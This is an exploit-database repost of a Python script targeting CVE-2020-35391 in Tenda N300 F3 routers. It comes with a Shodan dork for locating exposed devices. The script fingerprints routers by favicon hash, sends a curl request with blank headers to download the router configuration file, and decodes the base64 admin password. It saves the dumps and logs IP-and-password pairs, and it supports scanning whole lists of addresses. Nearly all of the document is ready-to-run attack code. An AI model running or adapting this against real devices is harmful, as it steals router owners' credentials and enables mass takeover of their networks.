Share
## https://sploitus.com/exploit?id=PACKETSTORM:171773
#!/usr/bin/python3  
  
# Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing   
# Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN"  
# Date: 09/03/2023  
# Exploit Author: @h454nsec  
# Github: https://github.com/H454NSec/CVE-2020-35391  
# Vendor Homepage: https://www.tendacn.com/default.html  
# Product Link: https://www.tendacn.com/product/f3.html  
# Version: All  
# Tested on: F3v3.0 Firmware (confirmed)  
# CVE : CVE-2020-35391  
  
import re  
import os  
import sys  
import argparse  
import base64  
import requests  
import subprocess  
try:  
import mmh3  
import codecs  
except ImportError:  
print("[!] Install mmh3: pip3 install mmh3")  
sys.exit()  
  
Color_Off="\033[0m"   
Black="\033[0;30m" # Black  
Red="\033[0;31m" # Red  
Green="\033[0;32m" # Green  
Yellow="\033[0;33m" # Yellow  
Blue="\033[0;34m" # Blue  
Purple="\033[0;35m" # Purple  
Cyan="\033[0;36m" # Cyan  
White="\033[0;37m" # White  
  
def ip_checker(ip):  
if "/" in ip:  
splited = ip.split("/")  
if "http://" in ip or "https://" in ip:  
return f"{splited[0]}://{splited[2]}"  
else:  
return f"http://{splited[0]}"  
else:  
return f"http://{ip}"  
  
def is_tenda(ip):  
try:  
response = requests.get(f'{ip}/favicon.ico')  
favicon = codecs.encode(response.content, "base64")  
favicon_hash = mmh3.hash(favicon)  
if favicon_hash == -2145085239:  
return True  
return False  
except Exception as error:  
return False  
  
def password_decoder(data):  
try:  
for nosense_data in data.split("\n"):  
if ("http_passwd=" in nosense_data):  
encoded_password = nosense_data.split("=")[-1]  
break  
password_bytes = base64.b64decode(encoded_password)  
password = password_bytes.decode("utf-8")  
if (len(password) != 0):  
return password  
return False  
except Exception as error:  
return False  
  
def main(db):  
for ip in db:  
ip_address = ip_checker(ip)  
tenda = is_tenda(ip_address)  
header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="")  
try:  
output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True)  
data = output.decode('utf-8')  
password = password_decoder(data)  
if password:  
if not os.path.isdir("config_dump"):  
os.mkdir("config_dump")  
with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o:  
o.write(data)  
with open(f"credential.txt", "a") as o:  
o.write(f"{ip_address}|{password}\n")  
print(f"{Purple}:{Cyan}{password}{Color_Off}")  
else:  
print()  
except Exception as error:  
print()  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)')  
parser.add_argument('-l', '--list_of_ip', help='List of IP address')  
args = parser.parse_args()  
db = []  
ip_list = args.list_of_ip  
if ip_list:  
with open(ip_list, "r") as fr:  
for data in fr.readlines():  
db.append(data.strip())  
else:  
db.append(args.ip)  
main(db)